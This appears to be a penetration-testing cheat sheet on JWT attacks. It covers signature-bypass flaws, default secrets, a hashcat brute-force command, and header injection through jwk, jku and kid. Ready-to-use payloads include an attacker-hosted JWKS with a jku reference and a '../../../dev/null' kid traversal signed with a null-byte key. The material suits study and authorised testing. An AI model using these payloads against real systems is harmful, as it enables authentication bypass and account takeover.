JWT attacks

JSON Web Token is a proposed Internet standard for creating data with optional signature and/or optional encryption whose payload holds JSON that asserts some number of claims. The tokens are signed either using a private secret or a public/private key.

-- Wikipedia

Vulnerabilities

  • Signature is not verified

  • Accepting tokens w/o signature

Secret keys

Public available keys

Sometimes developers don't change default keys or use keys from code snippets copied from the internet. A comprehensive list of such keys can be found here: GitHub - jwt-secrets - public-available JWT secrets.

Brute-forcing keys

hashcat -m 16500 -a 0 <jwt> <wordlist>

Header parameter injection

If the app supports one of the following (optional) JWT header parameters, you may be able to use your own key for signature validation instead of the server one.

  • jwk (JSON Web Key): Embedded key

  • jku (JSON Web Key Set URL): URL, to fetch the key from

  • kid (Key ID): Specify the key (via ID), if multiple keys are available

Injecting self signed JWTs

Via jwk parameter (Burp Suite)

  1. JWT Editor Keys: Generate new RSA key

  2. Burp Repeater: Modify token

  3. "Attack", use "Embedded JWK"

  4. Select generated key (from above)

Via jku parameter

  1. Generate a new key (e.g. using Burp Suite -> JWT Editor Keys).

  2. Host that key in a json file somewhere.

{
	"keys": [
		{
		    "kty": "RSA",
		    "e": "AQAB",
		    "kid": "e2dd1d09-37f3-4474-8778-45f93f934dcb",
		    "n": "nSfdXdNaId1QuYMwzhr0yAgq2jLk17xhGctxW6sgk3H_DdtiX6z2YrUaUPdINYx5LFUkVo-TMi6PJbcj5LQgh_aYLCCMdP3T1lowXSNItI7CaF3OBOcpNr9FampDs-cSeOfWE3Z870b5Em17X6Yh0MCgQmZ2AiDm14q3xdusvsGVx09RkgyWbBkPjDXplaYqFkPV3EpxGxvlafEqa6U_aHDO9pW9Dwq0eX2s4uvGlsxwECuaCXpzBaPDvRh5Za0pXAQNlkq58ak_jq8mixoKnlrYEkXFFZxWfZY3N6RkbGApAGMWyMU750nGiKDkJtKV08LqkHvTEbsF3eXDQ9oMWQ"
		}
	]
}
  1. Reference it in JWT header.

{
    "jku": "https://my-site.com/keys.json",
    "kid": "e2dd1d09-37f3-4474-8778-45f93f934dcb",
    "alg": "RS256"
}
  1. Modify and sign the token.

Via kid parameter

If the kid parameter is vulnerable to directory traversal, using /dev/null (present on most linux systems) and then also signing the JWT with a null-byte leads to a valid signature.

Key used for signature (AA== is a base64 encoded null-byte):

{
    "kty": "oct",
    "kid": "null-byte",
    "k": "AA=="
}

JWT header:

{
    "kid": "../../../../../../../dev/null",
    "alg": "HS256"
}

Other interesting JWT header parameters

See PortSwigger - Web Security Academy - JWT attacks - Other interesting JWT header parameters.

Last updated